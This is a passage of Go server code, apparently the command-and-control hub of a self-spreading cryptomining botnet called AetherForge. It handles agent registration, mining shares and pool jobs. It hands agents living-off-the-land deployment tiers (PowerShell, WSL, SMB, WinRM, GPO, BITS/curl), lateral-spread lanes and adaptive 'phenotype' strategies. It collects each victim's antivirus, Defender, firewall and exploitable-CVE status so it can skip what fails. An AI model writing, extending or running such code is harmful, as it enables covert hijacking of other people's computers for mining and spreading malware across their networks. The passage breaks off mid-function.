// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
|
// two concurrent new agents could both pass the count check under RLock, then
|
|
// both get registered, overshooting the limit.
|
|
h.mu.Lock()
|
|
_, alreadyConnected := h.agents[agentID]
|
|
if policy.MaxAgents > 0 {
|
|
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
|
h.mu.Unlock()
|
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
|
"success": false, "error": "fleet agent limit reached",
|
|
})})
|
|
break
|
|
}
|
|
}
|
|
// startPing tracks whether a new ping goroutine is needed.
|
|
// If the same connection is re-authing (rare but possible), the existing
|
|
// ping loop is still healthy — starting a second one would create two
|
|
// concurrent writers racing on conn.WriteControl.
|
|
startPing := !alreadyConnected
|
|
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
|
oldConn := old.Conn
|
|
h.mu.Unlock()
|
|
oldConn.Close()
|
|
h.mu.Lock()
|
|
startPing = true // fresh connection after displacing old one
|
|
}
|
|
domainJoined := prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain
|
|
ac := &AgentConnection{AgentID: agentID, Conn: conn}
|
|
h.agents[agentID] = ac
|
|
h.agentSubnet[agentID] = strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined).Subnet
|
|
h.mu.Unlock()
|
|
|
|
h.FlushBeaconPoliciesToWS(agentID)
|
|
h.FlushBeaconCommandsToWS(agentID)
|
|
h.ClearBeaconTransport(agentID)
|
|
|
|
// Only start a ping loop for genuinely new connections.
|
|
if startPing {
|
|
go h.runPingLoopAgent(ac)
|
|
}
|
|
|
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(func() map[string]interface{} {
|
|
resp := map[string]interface{}{
|
|
"success": true,
|
|
"agent_id": agentID,
|
|
}
|
|
if auth.LotlPolicyFromServer {
|
|
tiers := policy.LotlOnionTiers
|
|
if len(tiers) == 0 {
|
|
tiers = []string{
|
|
"vuln_recon",
|
|
"docker", "wsl", "powershell", "dotnet", "bits_curl",
|
|
"smb", "winrm", "linux", "gpo",
|
|
}
|
|
}
|
|
resp["lotl_onion_tiers"] = tiers
|
|
}
|
|
mp := policy.MiningTierPolicy
|
|
if len(mp.TierOrder) == 0 {
|
|
mp.TierOrder = []string{
|
|
"exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory",
|
|
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
|
|
}
|
|
}
|
|
resp["mining_tier_policy"] = mp
|
|
top := policy.TripleOnionPolicy
|
|
if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
|
|
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
|
|
top.PatchFirst = true
|
|
top.HighRiskThreshold = 50
|
|
top.ReconTiers = []string{"kev_scan", "vuln_recon", "service_probe", "listen_ports"}
|
|
top.DeployLanes = []string{
|
|
"discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm",
|
|
}
|
|
}
|
|
resp["triple_onion_policy"] = top
|
|
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 {
|
|
resp["spread_policy"] = map[string]interface{}{
|
|
"hashrate_gate_spread_min": policy.HashrateGateSpreadMin,
|
|
"hashrate_gate_hps": policy.HashrateGateHPS,
|
|
}
|
|
}
|
|
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
|
|
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
|
var inherited *strategy.InheritedPhenotype
|
|
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
|
|
pheno := strategy.PhenotypeFromStored(*stored)
|
|
inh := pheno.ToInherited()
|
|
inherited = &inh
|
|
} else if h.breedingRegistry != nil {
|
|
if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
|
|
inh := bred.ToInherited()
|
|
inherited = &inh
|
|
}
|
|
}
|
|
if inherited != nil {
|
|
inh := *inherited
|
|
h.mu.Lock()
|
|
h.agentInheritedPhenotype[agentID] = inh
|
|
h.mu.Unlock()
|
|
resp["inherited_phenotype"] = inh
|
|
agent.InheritedPhenotype = &models.AgentInheritedPhenotype{
|
|
SourceAgentName: inh.SourceAgentName,
|
|
Fingerprint: inh.Fingerprint,
|
|
SpreadLane: inh.SpreadLane,
|
|
TierOrder: append([]string(nil), inh.TierOrder...),
|
|
ActiveTier: inh.ActiveTier,
|
|
PeakHashrate: inh.PeakHashrate,
|
|
}
|
|
}
|
|
var defenderEnabled, defenderRTP *bool
|
|
if prior != nil {
|
|
defenderEnabled = prior.DefenderEnabled
|
|
defenderRTP = prior.DefenderRTP
|
|
}
|
|
if h.failureAtlas != nil && !policy.AIControlEnabled {
|
|
skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP)
|
|
if len(skips) > 0 {
|
|
resp["atlas_skips"] = skips
|
|
}
|
|
}
|
|
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled && inherited == nil {
|
|
adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
|
|
if h.failureAtlas != nil {
|
|
if skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
|
|
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
|
|
}
|
|
}
|
|
resp["adaptive_strategy"] = adaptive
|
|
}
|
|
if policy.AIControlEnabled {
|
|
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
|
|
}
|
|
if h.clearance != nil {
|
|
level := h.clearance.InitAgent(agentID, agent)
|
|
resp["clearance_level"] = level
|
|
agent.ClearanceLevel = level
|
|
}
|
|
bakedRole := normalizeFleetRole(auth.FleetRole)
|
|
if auth.SeederMode {
|
|
bakedRole = "seeder"
|
|
}
|
|
h.storeAgentFleetRole(agentID, bakedRole)
|
|
if policy.FleetRolesEnabled {
|
|
seederCapable := auth.SeederMode || bakedRole == "seeder"
|
|
hint := h.fleetRoleHintForAuth(agentID, bakedRole, clientIP, seederCapable)
|
|
if hint != "" {
|
|
resp["fleet_role_hint"] = hint
|
|
h.storeAgentFleetRole(agentID, hint)
|
|
}
|
|
if hint != "seeder" {
|
|
if seeders := h.lanSeedersForMiner(clientIP); len(seeders) > 0 {
|
|
resp["lan_seeders"] = seeders
|
|
}
|
|
}
|
|
}
|
|
return resp
|
|
}())})
|
|
|
|
// Auto-start mining: ensure the agent isn't stuck in a paused
|
|
// state from a previous session. The agent's in-memory pause flag
|
|
// resets on each restart, but sending resume is a cheap no-op and
|
|
// guarantees hashing begins as soon as a job arrives.
|
|
if h.agentPoolConfig(agentID).Wallet != "" {
|
|
_ = h.writeAgentJSON(agentID, Message{
|
|
Type: "command",
|
|
Payload: mustMarshal(map[string]interface{}{"action": "resume"}),
|
|
})
|
|
}
|
|
|
|
// Enrich agent with hostname before broadcasting so the dashboard
|
|
// immediately shows the correct machine-specific display name.
|
|
agent.Hostname = auth.Hostname
|
|
|
|
h.broadcastDashboard(Message{
|
|
Type: "agent_online",
|
|
Payload: mustMarshal(agent),
|
|
})
|
|
|
|
if h.eventNotifier != nil {
|
|
platform := auth.Platform
|
|
if platform == "" {
|
|
platform = "unknown"
|
|
}
|
|
if isNewAgent {
|
|
h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
|
|
displayName+" joined the fleet ("+platform+" · "+clientIP+")")
|
|
} else if alreadyConnected {
|
|
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
|
displayName+" took over an active session ("+clientIP+")")
|
|
} else if prior != nil && prior.Status != "online" {
|
|
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
|
displayName+" is back online ("+platform+" · "+clientIP+")")
|
|
}
|
|
}
|
|
|
|
h.mu.RLock()
|
|
runner := h.connectTasks
|
|
h.mu.RUnlock()
|
|
if runner != nil {
|
|
if isNewAgent {
|
|
go runner.RunConnectTasks(agentID, "on_connect")
|
|
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
|
|
go runner.RunConnectTasks(agentID, "on_reconnect")
|
|
}
|
|
}
|
|
|
|
case "stats":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
var stats struct {
|
|
Hashrate15s float64 `json:"hashrate_15s"`
|
|
Hashrate1m float64 `json:"hashrate_1m"`
|
|
Hashrate15m float64 `json:"hashrate_15m"`
|
|
SharesSubmitted int `json:"shares_submitted"`
|
|
SharesAccepted int `json:"shares_accepted"`
|
|
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
|
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
|
UptimeSeconds int `json:"uptime_seconds"`
|
|
// Listen ports
|
|
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
|
// DNS config (T1016)
|
|
DNSServers []string `json:"dns_servers,omitempty"`
|
|
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
|
// Resource pressure
|
|
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
|
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
|
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
|
|
CPUTempC *int `json:"cpu_temp_c,omitempty"`
|
|
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
|
|
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
|
|
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
|
// GPU / Ravencoin mining
|
|
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
|
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
|
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
|
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
|
GPUModel string `json:"gpu_model,omitempty"`
|
|
// SSH + posture
|
|
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
|
PostureScore *int `json:"posture_score,omitempty"`
|
|
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
|
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
|
AVProducts []string `json:"av_products,omitempty"`
|
|
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
|
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
|
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
|
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
|
LastPatch *string `json:"last_patch,omitempty"`
|
|
PendingUpdates *int `json:"pending_updates,omitempty"`
|
|
RebootPending *bool `json:"reboot_pending,omitempty"`
|
|
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
|
Services []struct {
|
|
Name string `json:"name"`
|
|
DisplayName string `json:"display_name,omitempty"`
|
|
Status string `json:"status"`
|
|
StartType string `json:"start_type"`
|
|
} `json:"services,omitempty"`
|
|
// Mining fallback cascade
|
|
ActiveMethod string `json:"active_method,omitempty"`
|
|
MiningLastError string `json:"last_error,omitempty"`
|
|
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
|
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
|
ChainOrder []string `json:"chain_order,omitempty"`
|
|
FailedMethods []struct {
|
|
Method string `json:"method"`
|
|
Reason string `json:"reason"`
|
|
At string `json:"at"`
|
|
} `json:"failed_methods,omitempty"`
|
|
// Fleet health mining telemetry (coalesced into stats_batch)
|
|
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
|
LOTLTier string `json:"lotl_tier,omitempty"`
|
|
LOTLAttempts []struct {
|
|
Tier string `json:"tier"`
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
DurationMs int64 `json:"duration_ms"`
|
|
Wallet string `json:"wallet,omitempty"`
|
|
} `json:"lotl_attempts,omitempty"`
|
|
AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"`
|
|
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
|
JoinLane string `json:"join_lane,omitempty"`
|
|
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
|
SpreadGeneration int `json:"spread_generation,omitempty"`
|
|
SpreadStrain string `json:"spread_strain,omitempty"`
|
|
FleetRole string `json:"fleet_role,omitempty"`
|
|
SeedPressure float64 `json:"seed_pressure,omitempty"`
|
|
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
|
|
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
|
VulnFindings []struct {
|
|
CVEID string `json:"cve_id"`
|
|
Severity string `json:"severity"`
|
|
Component string `json:"component"`
|
|
Patched bool `json:"patched"`
|
|
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
|
Detail string `json:"detail,omitempty"`
|
|
} `json:"vuln_findings,omitempty"`
|
|
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
|
}
|
|
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
|
|
continue
|
|
}
|
|
|
|
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
|
|
if sharesBad < 0 {
|
|
sharesBad = 0
|
|
}
|
|
|
|
h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
|
|
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
|
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
|
|
|
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
|
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
|
|
|
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
|
|
|
broadcast := map[string]interface{}{
|
|
"agent_id": agentID,
|
|
"hashrate_15s": stats.Hashrate15s,
|
|
"hashrate_1m": stats.Hashrate1m,
|
|
"hashrate_15m": stats.Hashrate15m,
|
|
"cpu_usage_pct": stats.CPUUsagePct,
|
|
"memory_usage_pct": stats.MemoryUsagePct,
|
|
"uptime_seconds": stats.UptimeSeconds,
|
|
"shares_submitted": stats.SharesSubmitted,
|
|
"shares_accepted": stats.SharesAccepted,
|
|
}
|
|
// Resource pressure fields
|
|
if stats.CPUFreqMHz != nil { broadcast["cpu_freq_mhz"] = *stats.CPUFreqMHz }
|
|
if stats.CPUMaxMHz != nil { broadcast["cpu_max_mhz"] = *stats.CPUMaxMHz }
|
|
if stats.CPUThrottle != nil { broadcast["cpu_throttle"] = *stats.CPUThrottle }
|
|
if stats.CPUTempC != nil { broadcast["cpu_temp_c"] = *stats.CPUTempC }
|
|
if stats.DiskFreeGB != nil { broadcast["disk_free_gb"] = *stats.DiskFreeGB }
|
|
if stats.DiskTotalGB != nil { broadcast["disk_total_gb"] = *stats.DiskTotalGB }
|
|
if stats.DiskFreePct != nil { broadcast["disk_free_pct"] = *stats.DiskFreePct }
|
|
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
|
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
|
|
|
// GPU / Ravencoin mining stats
|
|
if stats.GPUMinerActive != nil {
|
|
broadcast["gpu_miner_active"] = *stats.GPUMinerActive
|
|
}
|
|
if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s }
|
|
if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m }
|
|
if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m }
|
|
if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel }
|
|
|
|
// Listen port count
|
|
if stats.ListenPortCount != nil {
|
|
broadcast["listen_port_count"] = *stats.ListenPortCount
|
|
}
|
|
|
|
// T1016 DNS drift detection
|
|
if len(stats.DNSServers) > 0 {
|
|
broadcast["dns_servers"] = stats.DNSServers
|
|
if stats.DNSSearchDomains != nil {
|
|
broadcast["dns_search_domains"] = stats.DNSSearchDomains
|
|
}
|
|
h.mu.Lock()
|
|
prev, hasPrev := h.agentDNS[agentID]
|
|
drifted := hasPrev && !dnsEqual(prev, stats.DNSServers)
|
|
h.agentDNS[agentID] = stats.DNSServers
|
|
h.mu.Unlock()
|
|
if drifted {
|
|
broadcast["dns_drifted"] = true
|
|
log.Printf("[T1016] DNS drift detected on agent %s: %v → %v", agentID, prev, stats.DNSServers)
|
|
}
|
|
}
|
|
|
|
if stats.SSHAvailable != nil {
|
|
broadcast["ssh_available"] = *stats.SSHAvailable
|
|
}
|
|
if stats.PostureScore != nil {
|
|
broadcast["posture_score"] = *stats.PostureScore
|
|
}
|
|
if stats.DefenderEnabled != nil {
|
|
broadcast["defender_enabled"] = *stats.DefenderEnabled
|
|
}
|
|
if stats.DefenderRTP != nil {
|
|
broadcast["defender_rtp"] = *stats.DefenderRTP
|
|
}
|
|
if len(stats.AVProducts) > 0 {
|
|
broadcast["av_products"] = stats.AVProducts
|
|
}
|
|
if stats.FirewallDomain != nil {
|
|
broadcast["firewall_domain"] = *stats.FirewallDomain
|
|
}
|
|
if stats.FirewallPrivate != nil {
|
|
broadcast["firewall_private"] = *stats.FirewallPrivate
|
|
}
|
|
if stats.FirewallPublic != nil {
|
|
broadcast["firewall_public"] = *stats.FirewallPublic
|
|
}
|
|
if stats.LastPatchDays != nil {
|
|
broadcast["last_patch_days"] = *stats.LastPatchDays
|
|
}
|
|
if stats.LastPatch != nil {
|
|
broadcast["last_patch"] = *stats.LastPatch
|
|
}
|
|
if stats.PendingUpdates != nil {
|
|
broadcast["pending_updates"] = *stats.PendingUpdates
|
|
}
|
|
if stats.RebootPending != nil {
|
|
broadcast["reboot_pending"] = *stats.RebootPending
|
|
}
|
|
if stats.AgentElevated != nil {
|
|
broadcast["agent_elevated"] = *stats.AgentElevated
|
|
}
|
|
if len(stats.Services) > 0 {
|
|
broadcast["services"] = stats.Services
|
|
}
|
|
if stats.ActiveMethod != "" {
|
|
broadcast["active_method"] = stats.ActiveMethod
|
|
}
|
|
if stats.MiningLastError != "" {
|
|
broadcast["last_error"] = stats.MiningLastError
|
|
}
|
|
if stats.StratumOverlay {
|
|
broadcast["stratum_overlay"] = true
|
|
}
|
|
if stats.ChainExhausted {
|
|
broadcast["chain_exhausted"] = true
|
|
}
|
|
if len(stats.ChainOrder) > 0 {
|
|
broadcast["chain_order"] = stats.ChainOrder
|
|
}
|
|
if len(stats.FailedMethods) > 0 {
|
|
broadcast["failed_methods"] = stats.FailedMethods
|
|
}
|
|
if stats.MiningHashrate > 0 {
|
|
broadcast["mining_hashrate"] = stats.MiningHashrate
|
|
}
|
|
if stats.LOTLTier != "" {
|
|
broadcast["lotl_tier"] = stats.LOTLTier
|
|
}
|
|
if len(stats.LOTLAttempts) > 0 {
|
|
broadcast["lotl_attempts"] = stats.LOTLAttempts
|
|
}
|
|
if len(stats.AtlasSkips) > 0 {
|
|
broadcast["atlas_skips"] = stats.AtlasSkips
|
|
}
|
|
if stats.StratumEgress != "" {
|
|
broadcast["stratum_egress"] = stats.StratumEgress
|
|
}
|
|
if stats.JoinLane != "" {
|
|
broadcast["join_lane"] = stats.JoinLane
|
|
}
|
|
if stats.ParentAgentID != "" {
|
|
broadcast["parent_agent_id"] = stats.ParentAgentID
|
|
}
|
|
if stats.SpreadGeneration > 0 || stats.ParentAgentID != "" {
|
|
broadcast["spread_generation"] = stats.SpreadGeneration
|
|
}
|
|
if stats.SpreadStrain != "" {
|
|
broadcast["spread_strain"] = stats.SpreadStrain
|
|
}
|
|
if stats.FleetRole != "" {
|
|
broadcast["fleet_role"] = stats.FleetRole
|
|
}
|
|
if stats.SeedPressure > 0 {
|
|
broadcast["seed_pressure"] = stats.SeedPressure
|
|
}
|
|
if stats.HashratePressure > 0 {
|
|
broadcast["hashrate_pressure"] = stats.HashratePressure
|
|
}
|
|
if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
|
|
var hints interface{}
|
|
if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
|
|
broadcast["network_hints"] = hints
|
|
}
|
|
}
|
|
if len(stats.VulnFindings) > 0 || stats.VulnRiskScore != nil {
|
|
findings := make([]vuln.Finding, len(stats.VulnFindings))
|
|
for i, f := range stats.VulnFindings {
|
|
findings[i] = vuln.Finding{
|
|
CVEID: f.CVEID, Severity: f.Severity, Component: f.Component,
|
|
Patched: f.Patched, ExploitableInFleetContext: f.ExploitableInFleetContext,
|
|
Detail: f.Detail,
|
|
}
|
|
}
|
|
fctx := vuln.FleetContext{SSHAvailable: stats.SSHAvailable != nil && *stats.SSHAvailable}
|
|
if stats.ListenPortCount != nil {
|
|
fctx.ListenPortCount = *stats.ListenPortCount
|
|
}
|
|
findings = vuln.EnrichFindings(findings, fctx)
|
|
score := vuln.RiskScore(findings)
|
|
if stats.VulnRiskScore != nil && *stats.VulnRiskScore > score {
|
|
score = *stats.VulnRiskScore
|
|
}
|
|
broadcast["vuln_findings"] = findings
|
|
broadcast["vuln_risk_score"] = score
|
|
}
|
|
// Attach latest RTT latency from the ping loop.
|
|
if ac := h.getAgentConn(agentID); ac != nil {
|
|
ac.latencyMu.Lock()
|
|
if ac.LatencyMs != nil {
|
|
broadcast["latency_ms"] = *ac.LatencyMs
|
|
}
|
|
ac.latencyMu.Unlock()
|
|
}
|
|
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
|
|
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
|
|
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
|
|
h.ingestFleetPressure(agentID, broadcast)
|
|
h.queueStatsBroadcast(broadcast)
|
|
|
|
case "scout_report":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
var report struct {
|
|
JoinLane string `json:"join_lane"`
|
|
ServiceCount int `json:"service_count"`
|
|
ScoutMode bool `json:"scout_mode"`
|
|
}
|
|
if err := json.Unmarshal(msg.Payload, &report); err != nil {
|
|
continue
|
|
}
|
|
if !report.ScoutMode {
|
|
continue
|
|
}
|
|
ag, _ := h.db.GetAgent(agentID)
|
|
platform, ip := "", ""
|
|
var firewallDomain *bool
|
|
if ag != nil {
|
|
platform = ag.Platform
|
|
ip = ag.IP
|
|
firewallDomain = ag.FirewallDomain
|
|
}
|
|
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
|
|
|
|
case "ai_snapshot":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
var snap struct {
|
|
Stuck bool `json:"stuck"`
|
|
DeployTiers []struct {
|
|
Attempted bool `json:"attempted"`
|
|
OK bool `json:"ok"`
|
|
Skipped bool `json:"skipped"`
|
|
} `json:"deploy_tiers"`
|
|
MiningTiers []struct {
|
|
Attempted bool `json:"attempted"`
|
|
OK bool `json:"ok"`
|
|
Skipped bool `json:"skipped"`
|
|
} `json:"mining_tiers"`
|
|
ClearanceLevel int `json:"clearance_level"`
|
|
}
|
|
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
|
|
continue
|
|
}
|
|
failed := 0
|
|
for _, t := range append(snap.DeployTiers, snap.MiningTiers...) {
|
|
if t.Attempted && !t.OK && !t.Skipped {
|
|
failed++
|
|
}
|
|
}
|
|
h.cacheAgentTelemetry(agentID, map[string]interface{}{
|
|
"stuck": snap.Stuck,
|
|
"failed_tier_count": failed,
|
|
"clearance_level": snap.ClearanceLevel,
|
|
})
|
|
|
|
case "submit_share":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
var share models.Share
|
|
if err := json.Unmarshal(msg.Payload, &share); err != nil {
|
|
continue
|
|
}
|
|
share.AgentID = agentID
|
|
share.Timestamp = time.Now()
|
|
share.Accepted = false
|
|
|
|
shareID, err := h.db.InsertShare(&share)
|
|
if err != nil {
|
|
log.Printf("Failed to insert share: %v", err)
|
|
continue
|
|
}
|
|
|
|
sendShareResult := func(accepted bool, errMsg string) {
|
|
share.Accepted = accepted
|
|
share.Error = errMsg
|
|
if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
|
|
log.Printf("Failed to update share result: %v", err)
|
|
}
|
|
if h.serverPolicySnapshot().LogShareSubmissions {
|
|
log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
|
|
}
|
|
|
|
agentConn := h.getAgentConn(agentID)
|
|
if agentConn != nil {
|
|
result := map[string]interface{}{
|
|
"job_id": share.JobID,
|
|
"accepted": accepted,
|
|
}
|
|
if errMsg != "" {
|
|
result["error"] = errMsg
|
|
}
|
|
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
|
|
}
|
|
|
|
h.broadcastDashboard(Message{
|
|
Type: "new_share",
|
|
Payload: mustMarshal(map[string]interface{}{
|
|
"id": shareID,
|
|
"agent_id": agentID,
|
|
"job_id": share.JobID,
|
|
"accepted": accepted,
|
|
"hash": share.Hash,
|
|
"nonce": share.Nonce,
|
|
"error": errMsg,
|
|
"timestamp": share.Timestamp,
|
|
}),
|
|
})
|
|
}
|
|
|
|
if h.poolManager == nil {
|
|
sendShareResult(false, "pool manager not configured")
|
|
continue
|
|
}
|
|
|
|
poolCfg := h.agentPoolConfig(agentID)
|
|
proxy := h.poolManager.GetPool(&poolCfg)
|
|
if proxy == nil {
|
|
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
|
|
proxy = p
|
|
} else {
|
|
sendShareResult(false, "pool not connected: "+err.Error())
|
|
continue
|
|
}
|
|
}
|
|
|
|
if !proxy.IsConnected() {
|
|
sendShareResult(false, "pool not connected")
|
|
continue
|
|
}
|
|
|
|
wallet := poolCfg.Wallet
|
|
if wallet == "" {
|
|
wallet = h.defaultPool.Wallet
|
|
}
|
|
|
|
go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
|
|
|
|
case "get_job":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
var proxy *pool.Proxy
|
|
if h.poolManager != nil {
|
|
poolCfg := h.agentPoolConfig(agentID)
|
|
// Only use GetPool (non-blocking). If the pool hasn't connected yet
|
|
// (background EnsurePoolWithBackups from auth is still dialing), kick
|
|
// off another async attempt rather than blocking the WS read loop.
|
|
proxy = h.poolManager.GetPool(&poolCfg)
|
|
if proxy == nil {
|
|
go func(pc pool.Config) {
|
|
if p, err := h.poolManager.EnsurePool(&pc); err != nil {
|
|
log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err)
|
|
} else {
|
|
_ = p
|
|
}
|
|
}(poolCfg)
|
|
}
|
|
}
|
|
if proxy != nil {
|
|
job := proxy.GetCurrentJob()
|
|
if job != nil {
|
|
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(job)})
|
|
} else {
|
|
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})})
|
|
}
|
|
} else {
|
|
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})})
|
|
}
|
|
|
|
case "log_tail":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
var payload struct {
|
|
Content string `json:"content"`
|
|
Lines int `json:"lines"`
|
|
}
|
|
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
|
continue
|
|
}
|
|
h.mu.Lock()
|
|
h.agentLogs[agentID] = payload.Content
|
|
h.mu.Unlock()
|
|
h.broadcastDashboard(Message{
|
|
Type: "agent_log",
|
|
Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
|
|
})
|
|
|
|
case "capabilities_update":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
var caps models.AgentCapabilities
|
|
if err := json.Unmarshal(msg.Payload, &caps); err != nil {
|
|
continue
|
|
}
|
|
h.UpdateAgentCapabilities(agentID, caps)
|
|
|
|
case "policy_ack":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
var payload map[string]interface{}
|
|
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
|
continue
|
|
}
|
|
payload["agent_id"] = agentID
|
|
h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})
|
|
|
|
case "mining_fallback", "mining_status", "tier_report":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
var payload map[string]interface{}
|
|
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
|
continue
|
|
}
|
|
payload["agent_id"] = agentID
|
|
h.ingestStrategyFromPayload(agentID, payload)
|
|
h.queueStatsBroadcast(payload)
|
|
|
|
case "atlas_gossip":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
h.handleAgentAtlasGossip(agentID, msg.Payload)
|
|
|
|
case "command_result":
|
|
if agentID == "" {
|
|
continue
|
|
}
|
|
var payload map[string]interface{}
|
|
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
|
continue
|
|
}
|
|
payload["agent_id"] = agentID
|
|
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
|
// Notify any handler waiting for this specific agent+action result.
|
|
if action, _ := payload["action"].(string); action != "" {
|
|
